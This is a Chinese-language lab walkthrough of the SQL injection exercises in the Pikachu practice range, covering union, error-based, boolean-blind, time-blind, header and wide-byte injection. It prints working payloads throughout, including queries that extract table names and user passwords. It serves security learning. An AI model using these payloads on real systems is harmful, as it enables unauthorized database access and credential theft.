目录
一:数字型注入POST
一:数字型注入POST
1.判断注入类型方法:分别输入1 and 1=1 和 1 and 1=2 ,若两次回显一样,则为char类型;若不一样,为int型。
2.使用order by判断字段,3报错
3.判断回显的地方
4.使用联合查询注入查询数据库名
5.查询pikachu表名
and 1=2 union select 1,table_name from information_schema.tables where table_schema='pikachu' limit 0,1--+
可以使用group_concat将所有的都呈现出来
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+
6.选择users表进行查询列名
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+
7.最后可以查询一下此表下的user 和 password
union select 1,group_concat(user,password)from pikachu.users --+
二:字符型注入(GET)
字符型,加'闭合前面的单引号,其余注入同上
三:搜索型注入
先加'尝试闭合
报错,显示有个%,模糊查询可能是这个语句 like '%input%'
所以如下使用%'闭合
闭合成功
查询到有3列
其余同上关。
四:xx型注入
还是首先加'尝试闭合
报错显示,可能是')闭合
成功闭合,其余同上。
五:insert/update注入
insert型注入,insert是数据库插入数据的语句,在创建账号时可能会使用,update在更新账号时可能会使用。可能会是insert into table_name (列1, 列2,...) values(值1, 值2,....) ,update语句可能是 update 表名称 set 列名称 = 新值 where 列名称 = 某值 。
所以注册尝试闭合为')报错
尝试全部闭合username=007','','','','','')#&password=007&sex=&phonenum=&email=&add=&submit=submit
成功啦。开始注入吧,因为注册页面没有回显语句,我们采用报错注入,爆出数据库名
username=007'or updatexml(1,concat(0x7e,(select database()),0x7e),1)or','','','','','')#&password=007&sex=&phonenum=&email=&add=&submit=submit
爆表名,username=007竟然不行why,0可以
username= 0' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or ','','','','','')#&password=007&sex=&phonenum=&email=&add=&submit=submit
其余同上;
update注入是在修改信息抓包,单引号闭合
其余同上;
六:delete注入
首先留个言,删除的时候抓包,get型注入,爆错注入
GET /pikachu/vul/sqli/sqli_del.php?id=63?id=58 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
七:http头注入
登录抓包发现ua头被记录了
尝试在ua头中注入,利用一下上题语句 'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
成功注入
其余同上即可。
八:布尔盲注
首先找闭合点,单引号闭合,回显出kobe的uid和email
使用'and(length(database()))=1--+拼接尝试,回显不存在。
说明数据库的长度不是1.
我们已知pikachu数据库名7位,尝试一下'and(length(database()))=7--+
回显出kobe的uid和email,说明数据库名长度猜解正确。
然后可以使用ascii猜解数据库名,p的ascii为112
' and (ascii(substr(database(),1,1)))=112--+
成功回显。
继续猜解表名,第一位h猜解成功,截图省略
' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))=104--+
以此类推。费时费力,用脚本方便些,本菜狗目前不会写脚本,省略,真得学一下。
九:时间盲注
sleep函数:sleep(n)将程序挂起n秒,延时n秒。
仍然查一下kobe ,再查了下lili,发现无论输入什么都只会显示一种情况。
采用时间盲注,找注入点猜测'--+,猜数据库名长度,
'and if(length(database())=7,sleep(5),1)--+
发现浏览器会加载5秒钟,说明注入语句成功。
' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104),sleep(5),1)--+
同样可以注入成功,其余以此类推吧。
十:宽字节注入
首先了解一下宽字节,字符大小为一个字节时为窄字节,字符大小为两个及以上的字节时为宽字节。如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题。宽字节注入现在已经很少见,因为如今的编码大多使用utf-8,宽字节注入会在 ' 前加入 \,加入反斜线之后,起到一个转义作用,这样,存在的 ' 就会失去注入的功能。
如何绕过你呢?GBK编码认为一个汉字占两个字节,%5c 是 / 的url编码,加上 %df ,前面两个字符就会拼接为 %df%5c被识别为一个汉字。这样,/ 自动消失,转义作用在此失效。借鉴一下大佬的payload,加%df,让%df与%5c拼成一个汉字就ok了,所以
为什么呢,奥,是因为%df%5c组成了一个汉字,当然查不到,使用or拼接
ok了!
搞清宽字节绕过方式,其余就和盲注一样啦!
感谢师傅们的观看!